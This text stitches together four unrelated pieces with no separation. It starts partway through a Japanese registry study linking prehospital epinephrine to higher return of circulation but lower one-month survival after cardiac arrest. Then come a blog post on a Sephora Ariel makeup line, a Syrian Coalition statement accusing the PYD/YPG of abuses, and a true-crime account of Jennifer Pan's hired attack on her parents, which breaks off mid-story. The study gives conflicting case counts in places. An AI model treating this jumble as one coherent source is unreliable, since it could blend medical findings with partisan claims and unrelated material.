The etiology of cardiac arrest (ie, cardiac or noncardiac) was determined clinically by the physician in charge with the aid of the EMS personnel. Regarding first documented rhythm, because an automated external defibrillator analyzes a patient's rhythm automatically and delivers a shock only when it detects ventricular fibrillation (VF), the patient's first recorded rhythm was regarded as VF when laypersons delivered shocks with the use of a public-access automated external defibrillator. Additionally, the category of VF included ventricular tachycardia. Only epinephrine was used during prehospital CPR for patients with OHCA, following the FDMA resuscitation guideline for emergency lifesaving technicians.22
End Points
The 4 end points were ROSC before hospital arrival, survival at 1 month after cardiac arrest, 1-month survival with CPC category 1 or 2, and 1-month survival with OPC category 1 or 2.20,21,23
Statistical Analysis
Data that met the criteria concerning patient age, time course, and epinephrine use were analyzed. Using data for all cases, 3 unconditional logistic regression models were fit using one of the end points as a dependent variable. With an actual 1-month survival rate of 5.4% in the intravenous epinephrine group and 4.7% in the no-epinephrine group, 15 030 samples for each group provided a power level of 92.0% with a type I error of .05.24
Epinephrine use before hospital arrival was not randomly assigned in the patient population; therefore, we developed a propensity score for epinephrine use before hospital arrival and controlled for potential confounding and selection bias.25 By multivariable logistic regression analysis not taking patient outcome into account, the propensity score for prehospital epinephrine use was determined. Specifically, a full nonparsimonious logistic regression model was fit with prehospital epinephrine use as a dependent variable, which included every variable in Table 1 (ie, 20 variables, including 3 dummy variables for cases per year) plus dummy variables for the 47 prefectures in Japan (ie, 46 variables) as independent variables. A propensity score for epinephrine use before hospital arrival was calculated from the logistic regression equation for each patient. This propensity score represented the probability that a patient with OHCA would be given epinephrine before hospital arrival. Using the SAS macro program by Parsons et al,26 based on propensity score, patients with OHCA who were given epinephrine were matched with unique control patients who were not given epinephrine before hospital arrival. Using data for the propensity-matched patients, 4 types of conditional logistic regression models were fit with one of the end point variables as a dependent variable. With an actual 1-month survival rate of 5.1% in the intravenous epinephrine group and 7.0% in the no-epinephrine group, 13 401 samples for each group provided a power level of 94.1% with a type I error of .01.24
The 2-sided significance level for all tests was P < .05. All analyses were performed using SAS software, version 8.2 (SAS Institute Inc).
Results
Patient Characteristics
Between January 1, 2005, and December 31, 2008, 431 968 OHCAs occurred. Of these cases, 417 188 met the inclusion criteria (Figure 1 and Table 1). The mean age of all patients was 72 (SD, 16) years, and no significant difference existed between the mean ages of the 2 groups (P = .86). There was a significant difference between those who were given epinephrine and those who were not before hospital arrival. The number of OHCA cases who received epinephrine increased over the study period from 190 in 2005 to 8124 in 2008, whereas the number of OHCA cases who did not receive epinephrine remained at the same level (P < .001) (Table 1). Additionally, we checked the effects of prehospital epinephrine use by VF/non-VF status. Among patients with VF, 432 patients (21.1%) in the epinephrine group and 6478 (22.3%) in the no-epinephrine group had ROSC before hospital arrival (χ2 = 1.59; P = .21). The numbers of patients with 1-month survival, CPC category 1 or 2, and OPC category 1 or 2, respectively, were 316 (15.4%), 126 (6.1%), and 127 (6.2%) in the epinephrine group and 6209 (21.3%), 3927 (13.5%), and 3920 (13.5%) in the no-epinephrine group (χ2 = 41.02, 91.82, and 90.13, respectively; all P < .001). Among patients without VF, 2354 (18.2%) in the epinephrine group and 16 564 (4.4%) in the no-epinephrine group had ROSC before hospital arrival (χ2 = 5052.66; P < .001). The numbers of patients without VF with 1-month survival, CPC category 1 or 2, and OPC category 1 or 2, respectively, were 489 (3.8%), 79 (0.6%), and 84 (0.7%) in the epinephrine group and 12 696 (3.4%), 4975 (1.3%), and 4910 (1.3%), in the no-epinephrine group (χ2 = 5.08; P = .02; χ2 = 50.96; P < .001; and χ2 = 43.91; P <.001, respectively) (eAppendix and eTable 1).
Epinephrine Use Before Hospital Arrival and Patient Survival
Table 2 and Figure 2 summarize survival outcomes based on epinephrine use among all patients. With respect to the 4 end-point variables, in the initial unadjusted model, there was a significant difference between those who were administered epinephrine and those who were not before hospital arrival (all P < .001) (Figure 2). A positive association was detected between prehospital epinephrine use and the outcome measure in patients with ROSC before hospital arrival in the 3 models. A significant positive association in the crude model (OR, 1.15; 95% CI, 1.07-1.23; P < .001) and a significant negative association in the adjusted model using selected variables (OR, 0.43; 95% CI, 0.39-0.46; P < .001) or all variables (OR, 0.46; 95% CI, 0.42-0.51; P < .001) were observed for 1-month survival with respect to an association between prehospital epinephrine use and the outcome measures. A significant negative association was detected between prehospital epinephrine use and CPC and OPC in the 3 models.
Prehospital Epinephrine Use and Survival in Propensity-Matched Patients
To calculate the propensity score, a full nonparsimonious logistic regression model was fit. This model yielded a C statistic of 0.96, which indicated a very strong ability to differentiate between those who used epinephrine before hospital arrival and those who did not. The propensity score ranged from 0.007 to 1.000, which indicated that the probability of epinephrine use before hospital arrival by a patient with OHCA would be between 0 and 1. In the study, 13 401 patients who were given epinephrine were matched with 13 401 patients who were not given epinephrine (Table 3). With respect to every predictor variable, no significant difference was detected between patients who were given epinephrine and patients who were not given epinephrine, which showed that these propensity-matched patients were well matched.
Table 4 and Figure 3 summarize survival outcomes based on epinephrine use among propensity-matched patients. With respect to the 4 end-point variables, in the initial unadjusted model, there was a significant difference between those who were administered epinephrine and those who were not before hospital arrival (all P < .001) (Figure 3). For ROSC, a positive association was detected between prehospital epinephrine use and the outcome measures in the 4 models. The positive association became increasingly more evident after adjustment for selected variables and after adjustment for all variables. Inversely, for 1-month survival and survival with minimal neurological impairment (ie, CPC category 1 or 2, OPC category 1 or 2), a significant negative association was observed between epinephrine use before hospital arrival and the outcome measures. These negative associations became increasingly more evident after adjustment for selected variables and after adjustment for all variables (eAppendix and eTable 2).
Comment
Our findings, based on propensity-matched analyses using 4 different models, clearly show that intravenous epinephrine administration before hospital arrival is independently associated with reduced 1-month survival (Table 4). As for the effectiveness of prehospital epinephrine use in cardiopulmonary resuscitation, 1 large observational study supported effectiveness12 while others did not.13,27 Although recent randomized controlled trials showed that epinephrine use before hospital arrival was not associated with long-term survival, there were several methodological problems with these trials.15,25 Previous findings are inconsistent, so the effectiveness of epinephrine in CPR has not been established. Our findings are derived from national registry data, and sample size for propensity analysis posed no problem. Based on a valid propensity analysis controlling for the effects of selection bias and confounding factors, we observed that intravenous epinephrine use before hospital arrival was a significant predictor of poor long-term outcome. We believe that the present findings are important both theoretically and practically. As noted previously, epinephrine is reportedly associated with increased myocardial dysfunction, disturbed cerebral microcirculation after cardiac arrest, and ventricular arrhythmias during the period after resuscitation.4-7 The adverse long-term effect might be due to these pharmacological effects of epinephrine.
Epinephrine use before hospital arrival was consistently a significant and positive predictor of ROSC before hospital arrival in the 4 different models, and the ORs ranged from 1.91 to 2.51 (all P < .001) (Table 4). Our results are based on propensity-matched data and are consistent with previous findings.14,15,27 Several results have been reported that can explain the biological or pharmacological aspects of intravenous epinephrine administration leading to improved short-term outcomes, including animal studies showing short-term effects of epinephrine8,9 and evidence to indicate increased cerebral and coronary perfusion by redirected peripheral blood flow.10,11 Thus, the short-term effect might be attributable to these pharmacological effects of epinephrine.
A major confounder in this analysis is that patients who did not receive epinephrine in the prehospital setting may have received epinephrine after hospital arrival. Therefore, the differences may reflect changes in the type of care after hospital arrival and may not be attributable to the drug itself. Thus, we conducted a sensitivity analysis. In matched subsets of patients who had ROSC prior to hospital arrival, there would be no indication to receive epinephrine in the hospital, so the pure effect of the drug could be determined. Thus, we compared long-term survival between these patients. The numbers of 1-month survivors in the epinephrine and no-epinephrine groups were 438 (18.0%) and 661 (46.8%), respectively (P < .001). The numbers of patients with CPC category 1 or 2 in the epinephrine and no-epinephrine groups were 113 (4.7%) and 354 (25.0%), respectively (P < .001). The numbers of patients with OPC category 1 or 2 in the epinephrine and no-epinephrine groups were 115 (4.7%) and 351 (24.8%), respectively (P < .001). Additionally, we compared time from call to scene arrival or hospital arrival between the epinephrine and no-epinephrine groups. The mean times from call to scene arrival in the epinephrine and no-epinephrine groups were 7.37 (SD, 3.73) minutes and 6.72 (SD, 3.05) minutes, respectively (P < .001). The mean times from call to hospital arrival in the epinephrine and no-epinephrine groups were 40.01 (SD, 14.19) minutes and 40.43 (SD, 21.84) minutes, respectively (P = .53). Because the no-epinephrine group was not transported more quickly to the emergency department, improved long-term outcomes might not reflect more rapid delivery to definitive care. In summary, the sensitivity analysis showed that the use of epinephrine might be related to decreased 1-month survival.
There are several notable findings of this study. First, the number of patients with OHCA who were given epinephrine increased dramatically from 190 in 2005 to 8123 in 2008. Since April 2006, certified emergency lifesaving technicians have been permitted to administer intravenous epinephrine.16 The large increase in the number of patients who were administered epinephrine might be due to this change in the Japanese guidelines. In 2005, epinephrine was administered in 190 cases. Physicians were in ambulances in 2.5% of the 417 168 cases occurring during the study period. Thus, physicians likely administered intravenous epinephrine to the 190 patients in 2005. Second, in the total sample, only 1.4% of patients in the epinephrine group had good neurological outcomes, despite a 5.4% survival rate (Table 1). Thus, only about 25% of survivors had good neurological outcomes. The same basic pattern was found among propensity-matched patients (Table 3). This rate is substantially lower than those reported in most OHCA studies, in which the majority of long-term survivors had good outcomes.12,13,15,25,27 This finding implies that epinephrine administration might save the heart but not the brain, which is worth further study. Third, we also conducted an analysis of the association between prehospital epinephrine use and outcomes in the total sample (Table 2). Analyses of CPC and OPC both yielded ORs less than 1 for the association between prehospital epinephrine use and long-term neurological outcome, which was consistent with the results obtained for propensity-matched patients (Table 4). A crude analysis revealed a significant positive association between prehospital intravenous epinephrine administration and 1-month survival (OR, 1.15; P < .001). However, after adjusting for the effects of the selected variables, a significant negative association between prehospital epinephrine use and 1-month survival emerged (OR, 0.43; P < .001); this association remained significant after adjusting for all variables in the third model (OR, 0.46; P < .001). Generally, an observational study cannot be free from selection bias and confounding factors.25 Concomitant with this theoretical expectation, inconsistent associations between epinephrine administration before hospital arrival and the 1-month survival rate were observed.
Several limitations and caveats to our study must be acknowledged. First, the major limitation was that epinephrine use before hospital arrival was not assigned by random allocation. We performed propensity analysis and made a rigorous adjustment for selection bias and confounding factors, which would be expected with a standard multivariable analysis.25 Nevertheless, we must acknowledge that observational studies can only partially control and adjust for factors actually measured, whereas randomized allocation can control both known and unknown confounding factors and avoid the introduction of bias. Second, data on in-hospital CPR after arrival were not included in the analysis. Long-term survival cannot be achieved without first restoring circulation. A positive association was observed between epinephrine use before hospital arrival and short-term survival, whereas a negative association was detected between epinephrine use before hospital arrival and long-term survival. It is possible that these findings might have been due to a difference in in-hospital resuscitation modes, such as induced hypothermia28 and mechanical chest compression devices,29 between those who were administered epinephrine and those were not. Specifically, hypothermia is not a routine treatment for in-hospital CPR patients with OHCA in Japan. Additionally, no standard regimen of care after hospital arrival has been established. Thus, the use of induced hypothermia, cardiac catheterization, or epinephrine or other pressors (eg, vasopressin) may differ among hospitals. In summary, although the quality of in-hospital resuscitation might influence 1-month survival, we could not control for the effects of such factors. Third, some variables were problematic. The etiology of OHCA was determined clinically by the physician in charge with the aid of EMS personnel. However, we must recognize that the determination of a noncardiac etiology is highly atypical and problematic except among arrests due to trauma, drowning, strangulation, or drug overdose.30 Epinephrine dosage has been reported to influence the outcome of patients with OHCA.31 According to our interviews with emergency medicine physicians, a single dose of epinephrine was administered in the majority of cases. However, because of lack of data, we could not consider the number of epinephrine doses used in the cases included this study.
In summary, despite the limitations to the study, the associations between epinephrine use before hospital arrival and short- and long-term outcomes were strong and consistent. Specifically, our data show that intravenous epinephrine use before hospital arrival was associated with decreased 1-month survival on the basis of propensity-matched national data. Epinephrine use before hospital arrival was a positive predictor of short-term survival, which is in line with previous findings. Our findings need to be verified by studies that include in-hospital resuscitation data.
Back to top Article Information
Corresponding Author: Akihito Hagihara, DMSc, MPH, Kyushu University Graduate School of Medicine, Department of Health Services Management and Policy, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582, Japan (hagihara@hsmp.med.kyushu-u.ac.jp).
Author Contributions: Dr Hagihara had full access to all of the data in the study and takes responsibility for the integrity of the data and the accuracy of the data analysis.
Study concept and design: Hagihara, Hasegawa.
Acquisition of data: Hagihara, Hasegawa.
Analysis and interpretation of data: Hagihara, Hasegawa, Abe, Nagata, Wakata, Miyazaki.
Drafting of the manuscript: Hagihara, Wakata.
Critical revision of the manuscript for important intellectual content: Hagihara, Hasegawa, Abe, Nagata, Wakata, Miyazaki.
Statistical analysis: Hagihara, Abe.
Administrative, technical, or material support: Hagihara, Hasegawa, Abe, Nagata, Wakata, Miyazaki.
Study supervision: Hagihara.
Conflict of Interest Disclosures: All authors have completed and submitted the ICMJE Form for Disclosure of Potential Conflicts of Interest and none were reported.
Mermaids, rejoice! You’ll be able to buy the Sephora Ariel Collection at the 2013 D23 Expo in the Disney Consumer Products pavilion. The collection was available to purchase online in June, but is currently sold out, and swims into stores in August. Also available will be an ‘exclusive-to-D23 Expo-only Swarovski crystal-encrusted Ariel compact mirror’. Wait, there’s more! You can have your makeup or manicure done with colors from the collection by Sephora Pro artists and manicurists. It gets better: ‘attendees will receive starfish hair clips with every complimentary beauty service each day, while supplies last’. Check out this beyond bubbly video for the collection below.
If you love the song in this video as much as I do it’s Painted Palms – All of Us *
Adorable themed names of the eye shadows
Blue Lagoon (shimmering blue)
Scuttle (shimmering pinky beige)
Flounder (matte nude)
Sebastian (matte coraly pink)
Flotsam (deep blue charcoal)
Sea Shells (shimmering ivory)
Les Poissons (dusty satin mauve)
Caspian Sea (shimmering rich turquoise)
Your Voice (glistening silver pearl)
Unfortunate Souls (matte lavender grey)
Atlantica (shimmering sea foam green)
Fins (glittery mermaid green)
Sick Of Swimmin’ (shimmering opalescent)
Ursula (pearly purple)
Sha La La La (matte dark fuchsia)
Triton (shimmering gold)
Wanderin’ Free (shimmering pink champagne)
Jetsam (deep teal with dark iridescent glitter)
Sea Witch (pearly violet)
Syrian Coalition
May 30, 2015
The Syrian Coalition warns the Democratic Union Party (PYD) not to continue with its violations against civilians in Al-Hasaka province, stressing that its terrorist acts correspond precisely with the plans of the Assad regime which seeks to foment chaos in the liberated areas. These practices are no different from those of the Assad regime and ISIS, and they are aimed to ignite infighting between components of the Syrian society and to encourage sectarian and ethnic extremism in the area.
Over the last few months, rural Hasaka has seen an increase in the violations committed by the PYD’s military wing, known as the People's Protection Units (YPG), against residents of the area. The YPG’s militias launched arrest campaigns against the Arab and Kurdish populations, systematically displaced civilians, forced young people to migrate to dodge compulsory service in their ranks, and kidnapped civilians, especially minors to spread terror among the population. Moreover, they used force in dealing with civilians, and begun to fight rebel battalions, backstabbing them on several occasions.
Jennifer Pan’s Revenge: The inside story of a golden child, the killers she hired, and the parents she wanted dead
Read this article in simplified Chinese
Bich Ha and Huei Hann Pan were classic examples of the Canadian immigrant success story. Hann was raised and educated in Vietnam and moved to Canada as a political refugee in 1979. Bich (pronounced “Bick”) came separately, also a refugee. They married in Toronto and lived in Scarborough. They had two kids, Jennifer, in 1986, and Felix, three years later, and found jobs at the Aurora-based auto parts manufacturer Magna International, Hann as a tool and die maker and Bich making car parts. They lived frugally. By 2004, Bich and Hann had saved enough to buy a large home with a two-car garage on a quiet residential street in Markham. He drove a Mercedes-Benz and she a Lexus ES 300, and they accumulated $200,000 in the bank.
Their expectation was that Jennifer and Felix would work as hard as they had in establishing their lives in Canada. They’d laid the groundwork, and their kids would need to improve upon it. They enrolled Jennifer in piano classes at age four, and she showed early promise. By elementary school, she’d racked up a trophy case full of awards. They put her in figure skating, and she hoped to compete at the national level, with her sights set on the 2010 Winter Olympics in Vancouver until she tore a ligament in her knee. Some nights during elementary school, Jennifer would come home from skating practice at 10 p.m., do homework until midnight, then head to bed. The pressure was intense. She began cutting herself—little horizontal cuts on her forearms.
As graduation from Grade 8 loomed, Jennifer expected to be named valedictorian and to collect a handful of medals for her academic achievements. But she received none, and she wasn’t named valedictorian. She was stunned. What was the point in trying if no one acknowledged your efforts? And yet, instead of expressing her devastation, she told anyone who asked that she was perfectly fine—something she called her “happy mask.”
More crime stories
A close observer might have noticed that Jennifer seemed off, but I never did. I was a year behind her at Mary Ward Catholic Secondary in north Scarborough. As far as Catholic schools go, it was something of an anomaly: it had the usual high academic standards and strict dress code, mixed with a decidedly bohemian vibe. It was easy to find your tribe. Bright kids and arty misfits hung out together, across subjects, grades and social groups. If you played three instruments, took advanced classes, competed on the ski team and starred in the school’s annual International Night—a showcase of various cultures around the world—you were cool. Outsiders were embraced, geekiness celebrated (anime club meetings were constantly packed) and precocious ambition supported (our most famous alumnus, Craig Kielburger, pretty much ran his charity, Free the Children, from the halls of Mary Ward).
It was the perfect community for a student like Jennifer. A social butterfly with an easy, high-pitched laugh, she mixed with guys, girls, Asians, Caucasians, jocks, nerds, people deep into the arts. Outside of school, Jennifer swam and practised the martial art of wushu.
At five foot seven, she was taller than most of the other Asian girls at the school, and pretty but plain. She rarely wore makeup; she had small, round wire-frame glasses that were neither stylish nor expensive; and she kept her hair straight and unstyled.
Jennifer and I both played the flute, though she was in the senior stage band and I was in junior. We would interact in the band room, had dozens of mutual acquaintances and were friends on Facebook. In conversation, she always seemed focused on the moment—if you had her attention, you had it completely.
I discovered later that Jennifer’s friendly, confident persona was a façade, beneath which she was tormented by feelings of inadequacy, self-doubt and shame. When she failed to win first place at skating competitions, she tried to hide her devastation from her parents, not wanting to add worry to their disappointment. Her mother, Bich, noticed something was amiss and would comfort her daughter at night, when Hann was asleep, saying, “You know all we want from you is just your best—just do what you can.”
She had been a top student in elementary school, but midway through Grade 9, she was averaging 70 per cent in all subjects with the exception of music, where she excelled. Using old report cards, scissors, glue and a photocopier, she created a new, forged report card with straight As. Since universities didn’t consider marks from Grade 9 and 10 for admission, she told herself it wasn’t a big deal.
Hann was the classic tiger dad, and Bich his reluctant accomplice. They picked Jennifer up from school at the end of the day, monitored her extracurricular activities and forbade her from attending dances, which Hann considered unproductive. Parties were off limits and boyfriends verboten until after university. When Jennifer was permitted to attend a sleepover at a friend’s house, Bich and Hann dropped her off late at night and picked her up early the following morning. By age 22, she had never gone to a club, been drunk, visited a friend’s cottage or gone on vacation without her family.
Presumably, their overprotectiveness was born of love and concern. To Jennifer and her friends, however, it was tyranny. “They were absolutely controlling,” said one former classmate, who asked not to be named. “They treated her like shit for such a long time.”
The more I learned about Jennifer’s strict upbringing, the more I could relate to her. I grew up with immigrant parents who also came to Canada from Asia (in their case Hong Kong) with almost nothing, and a father who demanded a lot from me. My dad expected me to be at the top of my class, especially in math and science, to always be obedient, and to be exemplary in every other way. He wanted a child who was like a trophy—something he could brag about. I suspected the achievements of his siblings and their children made him feel insecure, and he wanted my accomplishments to match theirs. I felt like a hamster on a wheel, sprinting to meet some sort of expectation, solely determined by him, that was always just out of reach. Hugs were a rarity in my house, and birthday parties and gifts from Santa ceased around age 9. I was talented at math and figure skating, though my father almost never complimented me, even when I excelled. He played down my educational achievements, just like his parents had done with him—the prevailing theory in our culture being that flattery spoils ambition.
Jennifer met Daniel Wong in Grade 11. He was a year older, goofy and gregarious, with a big laugh, a wide smile and a little paunch around his waistline. He played trumpet in the school band and in a marching band outside of school. Their relationship was platonic until a band trip to Europe in 2003. After a performance in a concert hall filled with smokers, Jennifer suffered an asthma attack. She started panicking, was led outside to the tour bus and almost blacked out. Daniel calmed her down, coaching her breathing. “He pretty much saved my life,” she later said. “It meant everything.” That summer, they started dating.
Of Jennifer’s friends, I knew Daniel best. We met in my Grade 9 year at Mary Ward, and he would come over to my house nearly every day after school to watch TV and play Halo on my Xbox. He would often stick around and eat dinner with my family. Dan spoke to my parents in Cantonese, and my dad would regularly buy him Zesty Cheese Doritos—his favourite. When Daniel was in his final year at Mary Ward, we drifted apart, and midway through the year, he transferred to Cardinal Carter Academy, an arts school in North York. He was falling behind at Mary Ward, and, unbeknownst to me, he had been charged with trafficking after cops found half a pound of weed in his car.
Jennifer’s parents assumed their daughter was an A student; in truth, she earned mostly Bs—respectable for most kids but unacceptable in her strict household. So Jennifer continued to doctor her report cards throughout high school. She received early acceptance to Ryerson, but then failed calculus in her final year and wasn’t able to graduate. The university withdrew its offer. Desperate to keep her parents from digging into her high school records, she lied and said she’d be starting at Ryerson in the fall. She said her plan was to do two years of science, then transfer over to U of T’s pharmacology program, which was her father’s hope. Hann was delighted and bought her a laptop. Jennifer collected used biology and physics textbooks and bought school supplies. In September, she pretended to attend frosh week. When it came to tuition, she doctored papers stating she was receiving an OSAP loan and convinced her dad she’d won a $3,000 scholarship.
She would pack up her book bag and take public transit downtown. Her parents assumed she was headed to class. Instead, Jennifer would go to public libraries, where she would research on the Web what she figured were relevant scientific topics and fill her books with copious notes. She’d spend her free time at cafés or visiting Daniel at York University, where he was taking classes. She picked up a few day shifts as a server at East Side Mario’s in Markham, taught piano lessons and later tended bar at a Boston Pizza where Daniel worked as a kitchen manager. At home, Hann often asked Jennifer about her studies, but Bich told him not to interfere. “Let her be herself,” she’d say.
In order to keep the charade from unravelling, Jennifer lied to her friends, too. She even amplified her dad’s meddling ways, telling one friend, falsely, that her father had hired a private investigator to follow her.
After Jennifer had pretended to be enrolled at Ryerson for two years, Hann asked her if she was still planning to switch to U of T. She said yes, she’d been accepted into the pharmacology program. Her parents were thrilled. She suggested moving in with her friend Topaz downtown for three nights a week. Bich sympathized with Jennifer’s long commute each day and convinced Hann that it was a good idea.
Jennifer never stayed with Topaz. Monday through Wednesday, she stayed with Daniel and his family at their home in Ajax, a large house on a quiet, tree-lined street. Jennifer lied to Daniel’s parents as well, telling them her parents were okay with the arrangement and brushing off their repeated requests to meet Hann and Bich over dim sum.
After two more years, it was theoretically time to graduate from U of T. Jennifer and Daniel hired someone they found online to create a fake transcript, full of As. When it came to the ceremony, Jennifer told her parents that the extra-large class size meant there weren’t enough seats—graduating students were allowed only one guest each, and she didn’t want one of her parents to feel left out, so she gave her ticket to a friend.
Jennifer developed a mental strategy to deal with her lies. “I tried looking at myself in the third person, and I didn’t like who I saw,” she later said, “but rationalizations in my head said I had to keep going—otherwise I would lose everything that ever meant anything to me.”
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Eventually, Jennifer’s fictional academic career began to collapse. While supposedly studying at U of T, she had told her parents about an exciting new development: she was volunteering at the blood-testing lab at SickKids. The gig sometimes required late-night shifts on Fridays and weekends. Perhaps, she suggested, she should spend more of the week at Topaz’s. But Hann noticed something odd: Jennifer had no uniform or key card from SickKids. So the next day, he insisted that they drop her off at the hospital. As soon as the car stopped, she sprinted inside, and Hann instructed Bich to follow her. Realizing she was being tailed by her mom, Jennifer hid in the waiting area of the ER for a few hours until they left. Early the next morning, they called Topaz, who groggily told the truth: Jennifer wasn’t there. When Jennifer finally came home, Hann confronted her. She confessed that she didn’t volunteer at SickKids, had never been in U of T’s pharmacology program and had indeed been staying at Daniel’s—though she neglected to tell them that she’d never graduated high school and that her time at Ryerson was also complete fiction.
Bich wept. Hann was apoplectic. He told Jennifer to get out and never come back, but Bich convinced him to let their daughter stay. They took away her cellphone and laptop for two weeks, after which she was only permitted to use them in her parents’ presence and had to endure surprise checks of her messages. They forbade her from seeing Daniel. They ordered her to quit all of her jobs except for teaching piano and began tracking the odometer on the car.
Jennifer was madly in love with Daniel, and lonely, too. For two weeks, she was housebound, her mother by her side nearly constantly—though Bich told Jennifer where her dad had hidden her phone, so she could periodically check her messages. In February 2009, she wrote on her Facebook page: “Living in my house is like living under house arrest.” She also posted a note: “No one person knows everything about me, and no two people put together knows everything about me…I like being a mystery.” Over the spring and summer, she snuck calls with Daniel on her cellphone at night, whispering in the dark.
Eventually, she was allowed some measure of freedom, and she enrolled in a calculus course to get her final high school credit. Still, in defiance of her parents’ orders, she visited Daniel in between piano lessons. One night, she arranged her blankets to look like she was asleep, then snuck out to Daniel’s house. But she forgot that she had her mother’s wallet. In the morning, Bich went into the room to get it and discovered Jennifer was gone. Bich and Hann ordered Jennifer to come home immediately. They demanded that she apply to college—she could still be a pharmacy lab technician or nurse—and told her that she had to cut off all contact with Daniel.
Jennifer resisted, but Daniel had grown weary of their secret romance. She was 24 and still sneaking around, terrified of her parents’ tirades but not willing to leave home. He told her to figure out her life, and he broke off their relationship. Jennifer was heartbroken. Shortly thereafter, she learned that Daniel was seeing a girl named Christine. In an attempt to win back his attention and discredit Christine, she concocted a bizarre tale. She told him a man had knocked on her door and flashed what looked like a police badge. When she opened the door, a group of men rushed in, overpowered her and gang-raped her in the foyer of her house. Then a few days later, she said, she received a bullet in an envelope in her mailbox. Both instances, she alleged, were warnings from Christine to leave Daniel alone.
In the spring of 2010, Jennifer reconnected with Andrew Montemayor, a friend from elementary school. According to Jennifer’s later evidence in court, he had boasted about robbing people at knifepoint in the park near his home (a claim he denies). When Jennifer told him about her torturous relationship with her dad, Montemayor confessed that he’d once considered killing his own father. The notion intrigued Jennifer, who began imagining how much better her life would be without her father around. Montemayor introduced Jennifer to his roommate, Ricardo Duncan, a goth kid with black nail polish. Over bubble tea in between her piano lessons, according to Jennifer, they hatched a plan for Duncan to murder her father in a parking lot at his work, a tool and die company called Kobay Enstel, near Finch and McCowan. She says she gave Duncan $1,500, earnings from her piano classes, and they agreed to connect later by phone to arrange the date and time of the hit. But Duncan stopped answering her calls, and by early July, Jennifer realized she had been ripped off. (Duncan says she called him in early July, hysterical, requesting that he come and kill her parents. He said he felt offended and said no, and that the only money she gave him was $200 for a night out, which he promptly returned.)
According to the police, it was at this point that Daniel and Jennifer, who were back in contact and exchanging daily flirty texts, devised an even more sinister plan: they’d hire a hit on Bich and Hann, collect the estate—Jennifer’s portion totalling about $500,000—and live together, unencumbered by her meddling parents. Daniel gave Jennifer a spare iPhone and SIM card, and connected her with an acquaintance named Lenford Crawford, whom he called Homeboy. Jennifer asked what the going rate was for a contract killing. Crawford said it was $20,000, but for a friend of Daniel’s it could be done for $10,000. Jennifer was careful to use her iPhone for crime-related conversations and her Samsung phone for everything else. On Halloween night, Crawford visited the Pans’ neighbourhood—probably to scout the site. Kids in costume streaming up and down the street provided the perfect cover.
On the afternoon of November 2, the plan took an unexpected turn. Daniel texted Jennifer, saying that he felt as strongly about Christine as she did about him. Suddenly everything was thrown into question. She texted Daniel: “So you feel for her what I feel for you, then call it off with Homeboy.” Daniel responded, “I thought you wanted this for you?” Jennifer replied to Daniel, “I do, but I have nowhere to go.” Daniel wrote back: “Call it off with Homeboy? You said you wanted this with or without me.” Jennifer: “I want it for me.” The next day, Daniel texted, “I did everything and lined it all up for you.” It seemed Daniel wanted out of the arrangement. But within hours, they’d reverted to their old ways, texting and flirting. Later that day, Crawford texted Jennifer, “I need the time of completion, think about it.” Jennifer wrote back, “Today is a no go. Dinner plans out so won’t be home in time.” Over the following week, there was a flurry of text and phone conversations between Jennifer, Daniel and Crawford. On the morning of November 8, Crawford texted Jennifer: “After work ok will be game time.”
That evening, Jennifer watched Gossip Girl and Jon and Kate Plus Eight in her bedroom while Hann read the Vietnamese news down the hall before heading to bed around 8:30 p.m. Bich was out line dancing with a friend and cousin. Felix, who was studying engineering at McMaster University, wasn’t home. At approximately 9:30 p.m., Bich came home from her line dancing class, changed into her pyjamas and soaked her feet in front of the TV on the main floor. At 9:35 p.m., a man named David Mylvaganam, a friend of Crawford’s, called Jennifer, and they spoke for nearly two minutes. Jennifer went downstairs to say good night to Bich and, as Jennifer later admitted, unlock the front door (a statement she eventually retracted). At 10:02 p.m., the light in the upstairs study switched on—allegedly a signal to the intruders—and a minute later, it switched off. At 10:05 p.m., Mylvaganam called again, and he and Jennifer spoke for three and a half minutes. Moments later, Crawford, Mylvaganam and a third man named Eric Carty walked through the front door, all three carrying guns. One pointed his gun at Bich while another ran upstairs, shoved a gun at Hann’s face and directed him out of bed, down the stairs and into the living room.
Upstairs, Carty confronted Jennifer outside her bedroom door. According to Jennifer, Carty tied her arms behind her using a shoelace. He directed her back inside, where she handed over approximately $2,500 in cash, then to her parents’ bedroom, where he located $1,100 in U.S. funds in her mother’s nightstand, and then finally to the kitchen to search for her mother’s wallet.
“How could they enter the house?” Bich asked Hann in Cantonese. “I don’t know, I was sleeping,” Hann replied. “Shut up! You talk too much!” one of the intruders yelled at Hann. “Where’s the fucking money?” Hann had just $60 in his wallet and said as much. “Liar!” one man replied, and pistol-whipped him on the back of the head. Bich began weeping, pleading with the men not to hurt their daughter. One of the intruders replied, “Rest assured, she is nice and will not be hurt.”
Carty led Jennifer back upstairs and tied her arms to the banister, while Mylvaganam and Crawford took Bich and Hann to the basement and covered their heads with blankets. They shot Hann twice, once in the shoulder and then in the face. He crumpled to the floor. They shot Bich three times in the head, killing her instantly, then fled through the front door.
Jennifer somehow managed to reach her phone, tucked into the waistband of her pants, and dial 911 (despite, as she later claimed, having her hands tied behind her back). “Help me, please! I need help!” she cried. “I don’t know where my parents are! … Please hurry!” At the 34-second mark of the call, the unexpected happens: Hann can be heard moaning in the background. He had awoken, covered in blood, with his dead wife’s body next to him, and crawled up the stairs to the main floor. Jennifer yelled down that she was calling 911. Hann stumbled outside, screaming wildly, and encountered his startled neighbour, who was about to leave for work, in the driveway next door. The neighbour called 911. Police and an ambulance arrived at the scene minutes later, and Hann was rushed to a nearby hospital, then airlifted to Sunnybrook.
York Regional Police interviewed Jennifer just before 3 a.m. She told them that the men had entered the house looking for money, tied her to the banister, and taken her parents to the basement and shot them. Two days later, the police brought her in again to give a second statement. At their request, she showed how she contorted her body to get her phone—a flip phone—out of her waistband to place a call while tied to a banister.
Holes began to emerge in Jennifer’s story. For instance, the keys to Hann’s Lexus were in plain view by the front door. If it were indeed a home invasion, why did the intruders not take the car? And why didn’t they have a crowbar to get in, or a backpack to carry the loot, or zip ties to restrain the residents? And most important: why would they shoot two witnesses but leave one unharmed? The police assigned a surveillance team to monitor Jennifer’s movements.
By November 12, Hann had woken up from his three-day induced coma. He had a broken bone near his eye, bullet fragments lodged in his face that doctors couldn’t remove and a shattered neck bone—the bullet had grazed the carotid artery. Remarkably, he remembered everything, including two troubling details: he recalled seeing his daughter chatting softly—“like a friend,” he said—with one of the intruders, and that her arms were not tied behind her back while she was being led around the house.
